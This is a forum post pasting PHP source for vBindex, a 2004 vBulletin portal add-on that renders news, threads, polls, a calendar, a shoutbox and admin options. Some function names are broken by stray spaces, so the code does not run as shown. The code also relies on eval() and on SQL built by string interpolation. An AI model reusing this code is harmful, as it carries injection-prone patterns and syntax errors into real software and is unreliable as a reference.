FROM ".TABLE_PREFIX."thread AS thread
LEFT JOIN ".TABLE_PREFIX."user AS user ON (thread.postuserid = user.userid)
LEFT JOIN ".TABLE_PREFIX."post AS threadpost ON (thread.firstpostid = threadpost.postid)
LEFT JOIN ".TABLE_PREFIX."deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')
".iif($vbindex['options'] & VBI_SHOWNEWSAVATAR, '
LEFT JOIN '.TABLE_PREFIX.'customavatar AS customavatar ON (customavatar.userid = user.userid)
LEFT JOIN '.TABLE_PREFIX.'avatar AS avatar ON (avatar.avatarid = user.avatarid)'
)."
".iif(($vbindex['options'] & VBI_SUBNEWS) AND $bbuserinfo['userid'], "
LEFT JOIN ".TABLE_PREFIX."subscribethread AS subscribethread ON(subscribethread.threadid = thread.threadid AND subscribethread.userid = $bbuserinfo[userid])"
)."
WHERE forumid IN ($vbindex[newsfid])
AND deletionlog.primaryid IS NULL
AND forumid NOT IN (".implode(',', $limitfids).")
AND thread.open <> 10
AND thread.visible = '1'
$globalignore
$ignorelist
ORDER BY ".iif($vbindex['options'] & VBI_STICKYNEWS, 'thread.sticky DESC,', '')." thread.dateline DESC
LIMIT $vbindex[newsposts]");

while($news = $DB_site->fetch_array($getnews)) {

$news['title'] = fetch_censored_text($news['title']);
$news['time'] = vbdate($vboptions['timeformat'], $news['dateline']);
$news['date'] = vbdate($vboptions['dateformat'], $news['dateline'], 1);
$news['musername'] = fetch_musername($news, 'displaygroupid', 'postusername');
$news['attachcount'] = vb_number_format($news['attachcount']);
$news['replycount'] = vb_number_format($news['replycount']);

if ($news['iconid']) {
$news['showicon'] = true;
$news['threadiconpath'] = &$iconcache["$news[threadiconid]"]['iconpath'];
$news['threadicontitle'] = &$iconcache["$news[threadiconid]"]['title'];
} elseif (!empty($vboptions['showdeficon'])) {
$news['showicon'] = true;
$news['threadiconpath'] = $vboptions['showdeficon'];
$news['threadicontitle'] = $vbphrase['default'];
}

// ## CENSOR NEWS AND PARSE vB CODE ##
if (!empty($vbindex['newscharlimit']) && (vbstrlen(strip_bbcode($news['pagetext'])) > $vbindex['newscharlimit'])) {
$news['pagetext'] = fetch_censored_text(strip_bbcode(parse_bbcode(fetc h_trimmed_title($news['pagetext'], $vbindex['newscharlimit']), true, true), $news['forumid'], 1));
$show['readmore'] = true;
} else {
$news['pagetext'] = fetch_censored_text(parse_bbcode($news['pagetext'], $news['forumid'], 1));
$show['readmore'] = false;
}

// ## GET POSTERS AVATAR ##
$news['avatar'] = false;
if ($vbindex['options'] & VBI_SHOWNEWSAVATAR) {

if (!isset($avatarcache["$news[postuserid]"])) {

if (!empty($news['customavatar'])) {

if ($vboptions['usefileavatar']) {
$news['avatarurl'] = "$vboptions[avatarurl]/avatar$news[postuserid]_$news[avatarrevision].gif";
} else {
$news['avatarurl'] = "$vboptions[bburl]/image".SCRIPT_EXTENSION."?userid=$news[postuserid]&amp;dateline=$news[customdateline]";
}

$news['avatar'] = true;
$avatarcache["$news[postuserid]"] = $news['avatarurl'];
DEVDEBUG("cached avatar for userid $news[postuserid]");
} elseif (!empty($news['avatarpath'])) {
$news['avatarurl'] = $vboptions['bburl'].'/'.$news['avatarpath'];
$news['avatar'] = true;
$avatarcache["$news[postuserid]"] = $news['avatarurl'];
DEVDEBUG("cached avatar for userid $news[postuserid]");
} elseif (!empty($vbindex['useravatar'])) { // we have a default av specified
$news['avatarurl'] = $vbindex['useravatar'];
$avatarcache["$bbuserinfo[userid]"] = $news['avatarurl'];
$news['avatar'] = true;
}

} else {
$news['avatar'] = true;
$news['avatarurl'] = $avatarcache["$news[postuserid]"];
}
}

eval("\$home[roster] .= \"".fetch_template('vbindex_roster')."\";");
}
// memory saving
unset($news);
$DB_site->free_result($getnews);
}

// if vBwar is enabled then show that instead
if ((($vbindex['options'] & VBI_VBWAR) && !($vbindex['options'] & VBI_SHOWNEWS)) && !EXTRA_PAGE && $_REQUEST['action'] != 'shoutbox') {

require_once('./vnews.php');

}

// ######################## CREATE WELCOME BOX ###########################
// moved bellow news as it creates the posibility of one less query
// if the users avatar has been cached from a news post
$showavatar = false;

// if we are a member
if ($bbuserinfo['userid']) {

// show members welcome
$showmemberwelcome = true;

// ## GET & CACHE AV ##
if ($vbindex['options'] & VBI_WELCOMEAV) {

if (!isset($avatarcache["$bbuserinfo[userid]"])) {

if (trim($vboptions['templateversion']) == '3.0.0 Gamma') {
$avatarurl = $vboptions['bburl'].'/'.fetch_avatar_url($bbuserinfo['userid']);
} else {
if ($vboptions['usefileavatar']) {
$avatarurl = "$vboptions[avatarurl]/avatar$bbuserinfo[userid]_$bbuserinfo[avatarrevision].gif";
} else {
$avatarurl = $vboptions['bburl']."/image".SCRIPT_EXTENSION."?userid=$bbuserinfo[userid]&amp;dateline=$bbuserinfo[customdateline]";
}
}
$avatarcache["$bbuserinfo[userid]"] = $avatarurl;
DEVDEBUG("cached avatar for userid $bbuserinfo[userid]");
} else {
$avatarurl = $avatarcache["$bbuserinfo[userid]"];
}

if ($avatarurl != $vboptions['bburl'].'/') {
$showavatar = true;
} elseif (!empty($vbindex['useravatar'])) { // we have a default av specified
$avatarurl = $vbindex['useravatar'];
$avatarcache["$bbuserinfo[userid]"] = $avatarurl;
$showavatar = true;
}
}

} else {
// a guest is viewing
if (!empty($vbindex['guestavatar'])) {
$avatarurl = $vbindex['guestavatar'];
$showavatar = true;
$home['welcomemessage'] = construct_phrase($vbphrase['vbi_welcome_guest_message'], $vboptions['bbtitle'], $vboptions['bburl'], SCRIPT_EXTENSION.'?'.$session['sessionurl']);
}
$showmemberwelcome = false;
}

// #################### PROCESS LATEST THREADS #######################
if ($vbindex['options'] & VBI_SHOWTHREADS) {

if ($vboptions['threadpreview'] > 0) {
$previewfield = ', post.pagetext AS preview';
$previewjoin = 'LEFT JOIN '.TABLE_PREFIX.'post AS post ON(post.postid = thread.firstpostid)';
}

$getthreads = $DB_site->query("
## GET LATEST THREADS ##
SELECT thread.*,thread.iconid AS threadiconid $previewfield
".iif(($vbindex['options'] & VBI_SUBTHREADS) AND $bbuserinfo['userid'], ', NOT ISNULL(subscribethread.subscribethreadid) AS issubscribed')."
".iif($vbindex['options'] & VBI_SHOWCENTERTHREADS, ',forum.title AS forumtitle')."
FROM ".TABLE_PREFIX."thread AS thread
LEFT JOIN ".TABLE_PREFIX."deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')
".iif(($vbindex['options'] & VBI_SUBTHREADS) AND $bbuserinfo['userid'], "
LEFT JOIN " . TABLE_PREFIX . "subscribethread AS subscribethread ON(subscribethread.threadid = thread.threadid AND subscribethread.userid = $bbuserinfo[userid])"
)."
".iif($vbindex['options'] & VBI_SHOWCENTERTHREADS, "LEFT JOIN ".TABLE_PREFIX."forum AS forum ON(forum.forumid = thread.forumid)")."
$previewjoin
WHERE open = '1'
AND thread.open <> 10
AND thread.forumid NOT IN (".iif(is_numeric($vbindex['newsfid']), "$vbindex[newsfid],").implode(',', $limitfids).")
AND thread.visible = '1'
AND deletionlog.primaryid IS NULL
$globalignore
$ignorelist
ORDER BY lastpost
DESC LIMIT $vbindex[maxlthreads]");

while($thread = $DB_site->fetch_array($getthreads)) {

$threads = true;
$thread['title'] = fetch_censored_text(fetch_trimmed_title(unhtmlspec ialchars($thread['title']), 22));
$thread['date'] = vbdate($vboptions['dateformat'], $thread['lastpost'], 1);
$thread['time'] = vbdate($vboptions['timeformat'], $thread['lastpost']);
$thread['preview'] = preg_replace('#\[quote(=(&quot;|"|\'|).*\\2)?\](.*)\[/quote\]#siU', '', $thread['preview']);
$thread['preview'] = htmlspecialchars_uni(fetch_trimmed_title(strip_bbc ode(fetch_censored_text($thread['preview']), false, true), $vboptions['threadpreview']));
$thread['replycount'] = vb_number_format($thread['replycount']);
$thread['views'] = vb_number_format($thread['views']);

// thread icon
$show['icon'] = false;
if ($thread['iconid']) {
$show['icon'] = true;
$thread['threadiconpath'] = &$iconcache["$thread[threadiconid]"]['iconpath'];
$thread['threadicontitle'] = &$iconcache["$thread[threadiconid]"]['title'];
} elseif (!empty($vboptions['showdeficon'])) {
$show['icon'] = true;
$thread['threadiconpath'] = $vboptions['showdeficon'];
$thread['threadicontitle'] = $vbphrase['default'];
}

// show goto new post
$show['firstnew'] = false;
$bbforumview = fetch_bbarray_cookie('forum_view', $thread['forumid']);

if ($bbforumview > $bbuserinfo['lastvisit']) {
$lastread = $bbforumview;
} else {
$lastread = $bbuserinfo['lastvisit'];
}

if ($thread['lastpost'] > $lastread) {

$threadview = fetch_bbarray_cookie('thread_lastview', $thread['threadid']);

if ($thread['lastpost'] > $threadview) {
$show['firstnew'] = true;
$show['icon'] = false;
}
}

exec_switch_bg();

eval("\$threadbits .= \"".fetch_template('vbindex_latestthreadbit')."\";");
if ($vbindex['options'] & VBI_SHOWCENTERTHREADS) {
// prepare center threads block
eval("\$centerthreadbits .= \"".fetch_template('vbindex_centerthreadbit')."\";");
}
}
if ($threads) {
eval("\$side[latestthreads] = \"".fetch_template('vbindex_latestthreads')."\";");
}
// memory saving
unset($thread, $threads);
$DB_site->free_result($getthreads);
}

// ######################### PROCESS POLL ###############################
if ($vbindex['options'] & VBI_SHOWPOLL) {

// the $pollinfo query here is experimental, to save one query later on I have joined
// the pollvote table if the bbuser is registed, this seems to work fine from my testing

$pollinfo = $DB_site->query_first("
## GET POLL ##
SELECT thread.pollid, thread.forumid, open, threadid, replycount, question, poll.dateline,
options, votes, active, numberoptions, timeout, multiple, voters,
pollvote.voteoption, pollvote.userid AS voteuserid
FROM ".TABLE_PREFIX."thread AS thread
LEFT JOIN ".TABLE_PREFIX."poll AS poll ON (thread.pollid = poll.pollid)
LEFT JOIN ".TABLE_PREFIX."deletionlog AS deletionlog ON(thread.threadid = deletionlog.primaryid AND type = 'thread')
LEFT JOIN ".TABLE_PREFIX."pollvote AS pollvote ON(thread.pollid = pollvote.pollid AND pollvote.userid = $bbuserinfo[userid])
WHERE forumid NOT IN (".implode(',', $limitfids).")
AND deletionlog.primaryid IS NULL
AND thread.pollid <> 0
AND thread.open <> 10
AND thread.visible = '1'
".iif(strtoupper($vbindex['pollsforumid']) != 'ALL', "AND thread.forumid IN ($vbindex[pollsforumid])")."
$globalignore
$ignorelist
ORDER BY ".iif($vbindex['options'] & VBI_RANDOMPOLL, 'RAND()', 'thread.threadid')." DESC
LIMIT 1");

if ($pollinfo['pollid']) {

$pollinfo['question'] = fetch_censored_text($pollinfo['question']);

$splitoptions = explode('|||', $pollinfo['options']);
$splitvotes = explode('|||', $pollinfo['votes']);

$showresults = '';
$uservoted = '';

if (!$pollinfo['active'] || !$pollinfo['open'] || ($pollinfo['dateline'] + ($pollinfo['timeout'] * 86400) < TIMENOW && $pollinfo['timeout'])) {
// poll closed
$showresults = true;
} elseif (!($forumperms["$pollinfo[forumid]"] & CANVOTE)) {
// user cannot vote on this poll
$nopermission = true;
} elseif (fetch_bbarray_cookie('poll_voted', $pollinfo['pollid'])) {
// cookie shows user has voted
$uservoted = true;
} elseif ($bbuserinfo['userid'] == $pollinfo['voteuserid'] && !empty($pollinfo['voteoption'])) {
// pollinfo query shows user has voted
$uservoted = true;
}

$i = 0;

while($i++ < $pollinfo['numberoptions']) {
$pollinfo['numbervotes'] += $splitvotes[$i - 1];
}

$i = 0;
$option = array();

while($i++ < $pollinfo['numberoptions']) {

exec_switch_bg();

$option['question'] = fetch_censored_text(parse_bbcode($splitoptions[$i - 1], $pollinfo['forumid'], $pollinfo['allowsmilies']));
$option['votes'] = $splitvotes[$i - 1];
$option['number'] = $i;

if ($showresults || $uservoted || $nopermission) {
if ($showresults) {
$status = $vbphrase['this_poll_is_closed'];
} elseif ($uservoted) {
$status = $vbphrase['you_have_already_voted_on_this_poll'];
} elseif ($nopermission) {
$status = $vbphrase['you_may_not_vote_on_this_poll'];
}

$percent = 0;
if ($option['votes']) {
$percent = vb_number_format($option['votes'] / $pollinfo['numbervotes'] * 100, 2);
}

$option['graphicnumber'] = $option['number'] % 6 + 1;
$option['barnumber'] = round($percent) * 1.3;

$showform = false;
eval("\$home[pollbits] .= \"".fetch_template('vbindex_poll_result')."\";");
} elseif ($pollinfo['multiple']) {
// mutiple choice poll
$multiple = true;
$showform = true;
eval("\$home[pollbits] .= \"".fetch_template('vbindex_poll_option')."\";");
} else {
// single choice poll
$multiple = false;
$showform = true;
eval("\$home[pollbits] .= \"".fetch_template('vbindex_poll_option')."\";");
}
}
eval("\$side[poll] = \"".fetch_template('vbindex_poll')."\";");
}
}

// ####################### PROCESS CAlENDAR & EVENTS ##########################
if ($vbindex['options'] & VBI_SHOWCALENDAR) {

// lets prevent hacking and do our own calendar permissions checking
$cpermscache = array();
$calendarcache = array();

// fetch the membergroupids
$membergroupids = fetch_membergroupids_array($bbuserinfo);

$calendarpermissions = $DB_site->query("
## CALENDAR PERMS & OPTIONS QUERY (userid: $bbuserinfo[userid], membergroupids: $bbuserinfo[membergroupids]) ##
SELECT calendarpermission.usergroupid, calendarpermission.calendarpermissions,
calendar.calendarid,calendar.title, calendar.options, calendar.startofweek, displayorder
FROM ".TABLE_PREFIX."calendar AS calendar
LEFT JOIN ".TABLE_PREFIX."calendarpermission AS calendarpermission ON (calendarpermission.calendarid=calendar.calendarid AND usergroupid IN(".implode(',', $membergroupids)."))
ORDER BY displayorder ASC");

while($calendarpermission = $DB_site->fetch_array($calendarpermissions)) {
if (!empty($calendarpermission['displayorder'])) {
// leave permissions at 0 for calendars that aren't being displayed
$cpermscache["$calendarpermission[calendarid]"]["$calendarpermission[usergroupid]"] = intval($calendarpermission['calendarpermissions']);
$calendarcache["$calendarpermission[calendarid]"]['title'] = $calendarpermission['title'];
$calendarcache["$calendarpermission[calendarid]"]['options'] = $calendarpermission['options'];
$calendarcache["$calendarpermission[calendarid]"]['startofweek'] = $calendarpermission['startofweek'];
}
}
// memory saving
unset($calendarpermission);
$DB_site->free_result($calendarpermissions);

// Combine the calendar permissions for all member groups
foreach($cpermscache AS $calendarid => $cpermissions) {
$user['calendarpermissions']["$calendarid"] = 0;
foreach($membergroupids AS $usergroupid) {
if (isset($cpermissions["$usergroupid"])) {
$bbuserinfo['calendarpermissions']["$calendarid"] |= $cpermissions["$usergroupid"];
} else {
$bbuserinfo['calendarpermissions']["$calendarid"] |= $usergroupcache["$usergroupid"]['calendarpermissions'];
}
}
}

// require the calendar functions
require_once('./includes/functions_calendar'.SCRIPT_EXTENSION);

// get the first viewable calendarid
$showcalendar = false;
foreach ($calendarcache AS $id => $value) {
if ($bbuserinfo['calendarpermissions']["$id"] & CANVIEWCALENDAR) {

$calendarinfo = array(
'options' => $value['options'],
'title' => $value['title'],
'startofweek' => $value['startofweek'],
'calendarid' => $id
);

$startofweek = $value['startofweek'];
$calendarid = $id;
$showcalendar = true;
break;
}
}

if ($showcalendar) {

// bbuser has access to a calendar, so lets process it
if ($bbuserinfo['startofweek'] > 7 || $bbuserinfo['startofweek'] < 1) {
$bbuserinfo['startofweek'] = $calendarinfo['startofweek'];
}

$today = getdate(TIMENOW - $vboptions['hourdiff']);
$today['month'] = $vbphrase[strtolower($today['month'])];

$usertoday = array(
'firstday' => gmdate('w', gmmktime(0, 0, 0, $today['mon'], 1, $today['year'])),
'month' => $today['mon'], 'year' => $today['year']
);

$getoptions = convert_bits_to_array($calendarinfo['options'], $_CALENDAROPTIONS);
$calendarinfo = array_merge($calendarinfo, $getoptions);
$calendarinfo['showweekends'] = iif($vbindex['options'] & VBI_SHOWWEEKENDS, 1, 0);

// events
//$eventarray = unserialize($datastore['vbi_eventcache']);
//$eventcache = $eventarray["$calendarinfo[calendarid]"];
//unset($eventarray);echo '<pre>';print_r($eventcache);exit;
$erange = array(
'frommonth' => $today['mon'],
'fromyear' => $today['year'],
'nextmonth' => $today['mon'],
'nextyear' => $today['year']
);
$eventcache = cache_events($erange);

if (is_array($eventcache)) {
// only process events if we have an array of them
$i = 0;
foreach($eventcache AS $event) {
if (!($bbuserinfo['calendarpermissions']["$calendarinfo[calendarid]"] & CANVIEWOTHERSEVENT) && $bbuserinfo['userid'] != $event['userid']) {
unset($eventcache["$i"]);
}
$i++;
}
}

$calendarbits = str_replace('calendar'.SCRIPT_EXTENSION, "$vboptions[bburl]/calendar".SCRIPT_EXTENSION, construct_calendar_output($today, $usertoday, $calendarinfo, 0));
eval("\$side[calendar] = \"".fetch_template('vbindex_calendar')."\";");
} else {
$side['calendar'] = '';
}
}

// #################### PROCESS TODAYS BIRTHDAYS #######################
if ($vbindex['options'] & VBI_SHOWBIRTHDAYS) {

// birthdays
$birthdays = unserialize($datastore['birthdaycache']);
$birthdaydate = vbdate('Y-m-d', TIMENOW);

if (!is_array($birthdays) || ($birthdaydate != $birthdays['day1'] && $birthdaydate != $birthdays['day2'])) {
// update the cache
require_once('./includes/functions_databuild'.SCRIPT_EXTENSION);
$birthdays = build_birthdays();
DEVDEBUG('Updated Birthday Cache');
}

if ($birthdays['day1'] == $birthdaydate && !empty($birthdays['users1'])) {
// process day1
$home['birthdaybit'] = str_replace('member'.SCRIPT_EXTENSION.'?u', "$vboptions[bburl]/member".SCRIPT_EXTENSION.'?userid', $birthdays['users1']);
eval("\$side[birthdays] = \"".fetch_template('vbindex_birthdays')."\";");
} elseif ($birthdays['day2'] == $birthdaydate && !empty($birthdays['users2'])) {
// process day2
$home['birthdaybit'] = str_replace('member'.SCRIPT_EXTENSION.'?u', "$vboptions[bburl]/member".SCRIPT_EXTENSION.'?userid', $birthdays['users2']);
eval("\$side[birthdays] = \"".fetch_template('vbindex_birthdays')."\";");
} else {
$side['birthdays'] = '';
}
unset($birthdays, $birthdaydate);
}

// ######################## PROCESS SHOUTBOX ############################
if ($vbindex['options'] & VBI_SHOWSHOUTBOX) {

if ($_REQUEST['action'] == 'shoutbox') {
$pagenumber = intval($_REQUEST['pagenumber']);
$perpage = intval($_REQUEST['perpage']);
$mainpage = true;

$total = $DB_site->query_first("## COUNT SHOUTS ##
SELECT COUNT(*) AS shouts
FROM ".TABLE_PREFIX."vbindex_shoutbox
WHERE 1 = 1
$globalshoutignore
$shoutignore");

// set defaults
sanitize_pageresults($total['shouts'], $pagenumber, $perpage, 100, 25);

$limitlower = ($pagenumber - 1) * $perpage+1;
$limitupper = ($pagenumber) * $perpage;
$counter = 0;

if ($limitupper > $total['shouts']) {
$limitupper = $total['shouts'];
if ($limitlower > $total['shouts']) {
$limitlower = $total['shouts']-$perpage;
}
}
if ($limitlower <= 0) {
$limitlower = 1;
}

// limit for mysql query when full page is selected
$limit = ($limitlower - 1).", $perpage";


$navarray = array(
'' => 'Shoutbox'
);
$navbits = construct_navbits($navarray);
$pagenav = str_replace('&amp;page=', '&amp;pagenumber=', construct_page_nav($total['shouts'], "$_SERVER[PHP_SELF]?$session[sessionurl]action=shoutbox&amp;perpage=$perpage"));
} else {
// limit for mysql query when only side box is show
$limit = $vbindex['maxshouts'];
$pagenav = '';
}

$getshouts = $DB_site->query(" ## GET SHOUTS ##
SELECT user.username, user.userid,
shoutbox.shoutid, shoutbox.shout, shoutbox.dateline,
IF(user.displaygroupid = 0, user.usergroupid, user.displaygroupid) AS displaygroupid
FROM ".TABLE_PREFIX."vbindex_shoutbox AS shoutbox
LEFT JOIN ".TABLE_PREFIX."user AS user USING (userid)
WHERE 1 = 1
$globalshoutignore
$shoutignore
ORDER BY shoutbox.dateline DESC
LIMIT $limit");

$i = 0;
while ($shout = $DB_site->fetch_array($getshouts)) {
$i++;
$shouts = true;
$shout['shout'] = fetch_censored_text(parse_bbcode($shout['shout']));
// lets word wrap the shouts to prevent an expanded column
if (!empty($vbindex['shout_wrap_length'])) {
$shout['shout'] = preg_replace("#([^\n\r ?&./<>\"\\-\[\]]{".$vbindex['shout_wrap_length'].'})#i', "\\1 ", $shout['shout']);
}
$shout['musername'] = fetch_musername($shout);
$shout['date'] = vbdate($vboptions['dateformat'], $shout['dateline'], 1);
$shout['time'] = vbdate($vboptions['timeformat'], $shout['dateline']);
exec_switch_bg();

if (in_array($bbuserinfo['usergroupid'], $vbindex['global_shout_delete']) || (($vbindex['options'] & VBI_ALLOWSHOUTDELETE) && $shout['userid'] == $bbuserinfo['userid'])) {
$shoutdelete = true;
} else {
$shoutdelete = false;
}

// prevent the side box showing more than the defined number of shouts
// if we are viewing the full page one
if ($i <= $vbindex['maxshouts']) {

if ($vbindex['options'] & VBI_ASCSHOUT) {
// asc order
eval("\$sbox[$shout[timestamp]] .= \"".fetch_template('vbindex_shoutboxbit')."\";");
} else {
// default desc order
eval("\$shoutbox[shoutbits] .= \"".fetch_template('vbindex_shoutboxbit')."\";");
}
}

if ($_REQUEST['action'] == 'shoutbox') {
eval("\$shoutbox[main_shoutbits] .= \"".fetch_template('vbindex_shoutboxbit')."\";");
}
}

if (($vbindex['options'] & VBI_ASCSHOUT) && is_array($sbox)) {
// asc sort
krsort($sbox);
foreach($sbox AS $sarea) {
$shoutbox['shoutbits'] .= $sarea;
}
}

if ($bbuserinfo['userid'] || ($vbindex['options'] & VBI_DISABLEDSHOUT)) {
exec_switch_bg();
if (!$bbuserinfo['userid']) {
$shoutbox['postdisabled'] = true;
} else {
$shoutbox['postdisabled'] = false;
}
$shoutbox['postshout'] = true;
} else {
$shoutbox['postshout'] = false;
}

if ($shouts || $shoutbox['postshout']) {
if ($_REQUEST['action'] == 'shoutbox') {
$main = true;
eval("\$home[news] .= \"".fetch_template('vbindex_shoutbox')."\";");
$pagenav = '';
$main = false;
eval("\$side[shoutbox] .= \"".fetch_template('vbindex_shoutbox')."\";");
} else {
$main = false;
eval("\$side[shoutbox] .= \"".fetch_template('vbindex_shoutbox')."\";");
}
}
// memory saving
unset($shout, $sbox, $sarea);
$DB_site->free_result($getshouts);
}

// ################################################## ###########################
// unset vB's default template vars, do this at the end so any standard error
// or redirect calls still have the vars for use in the templates.
unset($header, $footer, $navbar, $headinclude);

// ####################### GENERATE SIDE BAR ##########################
// ## CUSTOM BLOCKS
if (!empty($vbindex['customboxes'])) {
for($box = 1; $box <= $vbindex['customboxes']; $box++) {
$collapseobj_vbindex_customblock = $vbcollapse['collapseobj_vbindex_customblock'.$box];
$collapseimg_vbindex_customblock = $vbcollapse['collapseimg_vbindex_customblock'.$box];

if (!is_demo_mode()) {
@ob_start();
eval(fetch_template('vbindex_customblock_php', -1, 0));
// this is the var to use in the template for the dynamic content
$contvar = 'box'.$box.'_php';
$$contvar = @ob_get_contents();
@ob_end_clean();
}

eval("\$side[customblock_".$box."] .= \"".fetch_template("vbindex_customblock_{$box}")."\";");
}
}

// ## LEFT
if (($vbindex['options'] & VBI_BOTH_COLS) || ($vbindex['options'] & VBI_LEFT_COL)) {
for($box = 1; $box < ($vbindex['totalboxes'] + 1 + $vbindex['customboxes']); $box++) {
$leftright = $vbindex["left_{$box}"];
$home['left']["$box"] = $side["$leftright"];
}
foreach($home['left'] AS $box => $content) {
$home['leftblocks'] .= $content;
}
}

// ## RIGHT
if (($vbindex['options'] & VBI_BOTH_COLS) || ($vbindex['options'] & VBI_RIGHT_COL)) {
for($box = 1; $box < ($vbindex['totalboxes'] + 1 + $vbindex['customboxes']); $box++) {
$leftright = $vbindex["right_{$box}"];
$home['right']["$box"] = $side["$leftright"];
}
foreach($home['right'] AS $box => $content) {
$home['rightblocks'] .= $content;
}
}

if ($vbindex['options'] & VBI_BOTH_COLS) {
$currentside = 'left';
eval("\$home[leftside] = \"".fetch_template('vbindex_side')."\";");
$currentside = 'right';
eval("\$home[rightside] = \"".fetch_template('vbindex_side')."\";");
} elseif ($vbindex['options'] & VBI_LEFT_COL) {
$currentside = 'left';
eval("\$home[leftside] = \"".fetch_template('vbindex_side')."\";");
} elseif ($vbindex['options'] & VBI_RIGHT_COL) {
$currentside = 'right';
eval("\$home[rightside] = \"".fetch_template('vbindex_side')."\";");
}

// #################### EVAL GLOBAL TEMPLATES #######################
$vbphrase['copyright'] = construct_phrase($vbphrase['vbi_copyright'], $vboptions['templateversion'], $vbindex['version']);
eval("\$home[footer] = \"".fetch_template('vbindex_footer')."\";");
$footer = &$home['footer'];
eval("\$home[header] = \"".fetch_template('vbindex_header')."\";");
$header = &$home['header'];
eval("\$headinclude = \"".fetch_template('vbindex_headinclude')."\";");
$home['headinclude'] = &$headinclude;

$home['footer'] = str_replace('cron'.SCRIPT_EXTENSION, "$vboptions[bburl]/cron".SCRIPT_EXTENSION, $home['footer']);
// ## PM POPUP
if ($shownewpm) {
eval("\$home[footer] = \"".fetch_template('vbindex_pm_popup_script')."\";");
}

$navbits = array('', $vboptions['hometitle']);
$navbits = construct_navbits($navbits);
eval("\$home[navbar] = \"".fetch_template('vbindex_navbar')."\";");

eval($datastore['vbindex_config']);

if (trim($vboptions['templateversion']) != '3.0.0 Gamma') {
$headinclude = str_replace('link rel="stylesheet" type="text/css" href="clientscript/vbulletin_css', 'link rel="stylesheet" type="text/css" href="'.$vboptions['bburl'].'/clientscript/vbulletin_css', $headinclude);
}

// #################### SELECT OUTPUT TEMPLATE #######################
if (!EXTRA_PAGE) {
eval("print_output(\"".fetch_template('VBINDEX')."\");");
} elseif (!empty($_REQUEST['page'])) {
eval("\$home[content] = \"".fetch_template("vbindex_extra_{$_REQUEST[page]}")."\";");
eval("print_output(\"".fetch_template('VBINDEX_SHELL')."\");");
} elseif (!empty($_REQUEST['section'])) {
// we're using a PHP special extra page, so lets parse the PHP Include
if (!is_demo_mode()) {
@ob_start();
eval(fetch_template("vbindex_extra_php_{$_REQUEST[section]}", -1, 0));
// this is the var to use in the template for the dynamic content
$php_output = @ob_get_contents();
@ob_end_clean();

}
eval("\$home[content] = \"".fetch_template("vbindex_extra_{$_REQUEST[section]}")."\";");
eval("print_output(\"".fetch_template('VBINDEX_SHELL')."\");");
}

?>


(Continued Below)

TheEnd
12-02-2004, 06:30 PM
vbioptions2.php
<?php

// +--------------------------------------------------------------------+
// | vBindex Version 3.0.0 Release Candidate 5 (UK English)
// | Copyright (C) MMII - MMIV Winter Systems
// +--------------------------------------------------------------------+
// | vbioptions.php, v3.0.4
// |--------------------------------------------------------------------+
// | Support will only be given at Core Forums (http://www.coreforums.net)
// | to those who have confirmed they are licenced, or at vBulletin.org
// | via the vBindex 3.x thread listed bellow.
// +--------------------------------------------------------------------+
// | v1.x Release(s) by el3m3nt:
// | (https://vborg.vbsupport.ru/showthread.php?threadid=37021)
// | v2.x Release(s) by NTLDR (aka Eldorado):
// | (https://vborg.vbsupport.ru/showthread.php?threadid=41916)
// | v3.x Release(s) by NTLDR (aka Eldorado):
// | (http://www.coreforums.net/forums/showthread.core?threadid=93)
// | (https://vborg.vbsupport.ru/showthread.php?threadid=59524)
// +--------------------------------------------------------------------+

// ######################## SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// ##################### DEFINE IMPORTANT CONSTANTS #######################
define('NO_REGISTER_GLOBALS', 1);


// #################### PRE-CACHE TEMPLATES AND DATA ######################
$phrasegroups = array(
'vbindex_cp'
);
$specialtemplates = array(
'vbindex_setting'
);

// ########################## REQUIRE BACK-END ############################
if (@file_exists('../vbiconfig.php')) {
require_once('../vbiconfig.php');
$configpath = '../vbiconfig.php';
} elseif (@file_exists('../../vbiconfig.php')) {
$configpath = '../../vbiconfig.php';
require_once('../../vbiconfig.php');
}

if (!defined('SCRIPT_EXTENSION')) {
// vbiconfig.php couldn't be found, assume .php extension
define('SCRIPT_EXTENSION', '.php');
}

require_once('./global'.SCRIPT_EXTENSION);

// ############################# LOG ACTION ###############################
log_admin_action();

// ################################################## ######################
// ######################### START MAIN SCRIPT ############################
// ################################################## ######################

print_cp_header($vbphrase['vbindex_options']);

if (empty($_REQUEST['do'])) {
$_REQUEST['do'] = 'edit';
}

$vbindex = unserialize($datastore['vbindex_setting']);

// ###################### Start edit #######################
if ($_REQUEST['do'] == 'edit') {

print_form_header('vbioptions', 'update');

$coloptions = array(
'0' => $vbphrase['neither'],
'1' => $vbphrase['left'],
'2 ' => $vbphrase['right'],
'64' => $vbphrase['both']
);
if ($vbindex['options'] & 1) {
$col = 1;
} elseif ($vbindex['options'] & 2) {
$col = 2;
} elseif ($vbindex['options'] & 64) {
$col = 64;
}
$colnames = array(
'0' => $vbphrase['leave_unused'],
'latestthreads' => $vbphrase['latest_threads'],
'onlineusers' => $vbphrase['online_users'],
'shoutbox' => $vbphrase['shoutbox'],
'calendar' => $vbphrase['calendar'],
'birthdays' => $vbphrase['birthdays'],
'poll' => $vbphrase['poll']
);
for($box = 1; $box <= $vbindex['customboxes']; $box++) {
$colnames["customblock_$box"] = construct_phrase($vbphrase['custom_block_x'], $box);
}

$totalboxes = 6;

// side options
print_table_header($vbphrase['side_columns']);
print_select_row($vbphrase['columns_to_show'], 'vbi_bit[cols]', $coloptions, $col);
print_input_row($vbphrase['number_of_custom_blocks'], 'vbi_int[customboxes]', $vbindex['customboxes'], 1, 2);
construct_hidden_code('vbi[totalboxes]', $totalboxes);
// left
for($box = 1; $box < ($totalboxes + 1 + $vbindex['customboxes']); $box++) {
print_select_row(construct_phrase($vbphrase['x_box_x'], $vbphrase['left'], $box), "vbi[left_{$box}]", $colnames, $vbindex["left_{$box}"]);
}
// right
for($box = 1; $box < ($totalboxes + 1 + $vbindex['customboxes']); $box++) {
print_select_row(construct_phrase($vbphrase['x_box_x'], $vbphrase['right'], $box), "vbi[right_{$box}]", $colnames, $vbindex["right_{$box}"]);
}
print_table_break();

// news
print_table_header($vbphrase['news']);
print_checkbox_row($vbphrase['news_enabled'], 'vbi_bit[shownews]', iif($vbindex['options'] & 4, 1, 0), 4);
print_checkbox_row($vbphrase['enable_vbwar'], 'vbi_bit[vbwar]', iif($vbindex['options'] & 16777216, 1, 0), 16777216);
